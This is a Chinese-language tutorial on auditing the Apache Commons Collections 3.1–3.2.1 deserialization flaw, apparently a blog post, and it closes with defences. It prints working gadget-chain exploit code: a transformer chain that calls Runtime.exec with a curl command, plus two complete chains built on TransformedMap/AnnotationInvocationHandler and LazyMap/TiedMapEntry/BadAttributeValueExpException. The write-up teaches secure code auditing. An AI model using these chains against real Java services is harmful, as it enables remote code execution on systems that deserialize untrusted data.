从零开始java代码审计系列(一)
字数 1095 2025-08-29 08:32:09

Java代码审计:Apache Commons Collections反序列化漏洞分析

一、漏洞概述

Apache Commons Collections是一个广泛使用的Java库,提供了许多有用的工具类和数据结构实现。该库在3.1-3.2.1版本中存在反序列化漏洞,攻击者可以通过构造特殊的序列化数据,在目标系统上执行任意代码。

二、漏洞原理分析

1. 核心漏洞点

漏洞的核心在于InvokerTransformer类的transform方法:

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var7) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
        }
    }
}

该方法通过反射调用任意方法,当攻击者能够控制iMethodNameiParamTypesiArgs参数时,就可以执行任意代码。

2. 调用链构造

单独使用InvokerTransformer不足以实现RCE,需要结合其他类构造调用链:

Transformer[] transformers = {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
    new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"curl http://127.0.0.1:10000"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

这段代码相当于执行了以下Java代码:

((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("curl http://127.0.0.1:10000")

3. 序列化问题解决

直接序列化Runtime.getRuntime()会失败,因为Runtime类不可序列化。解决方案是通过反射链动态获取Runtime实例:

new ConstantTransformer(Runtime.class),  // 获取Runtime.class对象
new InvokerTransformer("getMethod", ...),  // 获取getMethod方法
new InvokerTransformer("invoke", ...),  // 调用getRuntime方法获取Runtime实例
new InvokerTransformer("exec", ...)  // 执行命令

三、攻击链分析

攻击链一:TransformedMap + AnnotationInvocationHandler (JDK < 1.7)

  1. TransformedMap触发点
protected Object transformValue(Object object) {
    return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}

通过TransformedMap.decorate()可以控制valueTransformer

Map map = new HashMap();
Map transformedmap = TransformedMap.decorate(map, null, transformerChain);
  1. AnnotationInvocationHandler触发

在JDK < 1.7中,AnnotationInvocationHandlerreadObject方法会操作Map:

private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
    // ...
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        // ...
        memberValue.setValue(...);
    }
}
  1. 完整利用代码
Map map = new HashMap();
map.put("value", "2");  // key必须为"value"
Map transformedmap = TransformedMap.decorate(map, null, transformerChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
Object ins = cons.newInstance(java.lang.annotation.Retention.class,transformedmap);

// 序列化和反序列化触发

攻击链二:LazyMap + TiedMapEntry + BadAttributeValueExpException (JDK >= 1.8)

  1. LazyMap触发点
public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}
  1. TiedMapEntry触发toString
public Object getValue() {
    return this.map.get(this.key);
}

public String toString() {
    return this.getKey() + "=" + this.getValue();
}
  1. BadAttributeValueExpException触发readObject
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    // ...
    val = valObj.toString();  // 触发toString
}
  1. 完整利用代码
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

BadAttributeValueExpException ins = new BadAttributeValueExpException(null);
Field valfield = ins.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(ins, entry);

// 序列化和反序列化触发

四、防御措施

  1. 升级Apache Commons Collections到3.2.2或更高版本
  2. 使用Java反序列化过滤器
  3. 避免反序列化不可信数据
  4. 使用安全管理器限制危险操作

五、总结

Apache Commons Collections反序列化漏洞展示了Java反序列化攻击的典型模式:

  1. 利用可序列化的危险类构造调用链
  2. 通过反射机制绕过限制执行任意代码
  3. 寻找合适的触发点自动执行恶意代码

理解这个漏洞有助于提高Java代码审计能力,特别是对反序列化操作的安全意识。

Java代码审计:Apache Commons Collections反序列化漏洞分析 一、漏洞概述 Apache Commons Collections是一个广泛使用的Java库,提供了许多有用的工具类和数据结构实现。该库在3.1-3.2.1版本中存在反序列化漏洞,攻击者可以通过构造特殊的序列化数据,在目标系统上执行任意代码。 二、漏洞原理分析 1. 核心漏洞点 漏洞的核心在于 InvokerTransformer 类的 transform 方法: 该方法通过反射调用任意方法,当攻击者能够控制 iMethodName 、 iParamTypes 和 iArgs 参数时,就可以执行任意代码。 2. 调用链构造 单独使用 InvokerTransformer 不足以实现RCE,需要结合其他类构造调用链: 这段代码相当于执行了以下Java代码: 3. 序列化问题解决 直接序列化 Runtime.getRuntime() 会失败,因为 Runtime 类不可序列化。解决方案是通过反射链动态获取 Runtime 实例: 三、攻击链分析 攻击链一:TransformedMap + AnnotationInvocationHandler (JDK < 1.7) TransformedMap触发点 通过 TransformedMap.decorate() 可以控制 valueTransformer : AnnotationInvocationHandler触发 在JDK < 1.7中, AnnotationInvocationHandler 的 readObject 方法会操作Map: 完整利用代码 攻击链二:LazyMap + TiedMapEntry + BadAttributeValueExpException (JDK >= 1.8) LazyMap触发点 TiedMapEntry触发toString BadAttributeValueExpException触发readObject 完整利用代码 四、防御措施 升级Apache Commons Collections到3.2.2或更高版本 使用Java反序列化过滤器 避免反序列化不可信数据 使用安全管理器限制危险操作 五、总结 Apache Commons Collections反序列化漏洞展示了Java反序列化攻击的典型模式: 利用可序列化的危险类构造调用链 通过反射机制绕过限制执行任意代码 寻找合适的触发点自动执行恶意代码 理解这个漏洞有助于提高Java代码审计能力,特别是对反序列化操作的安全意识。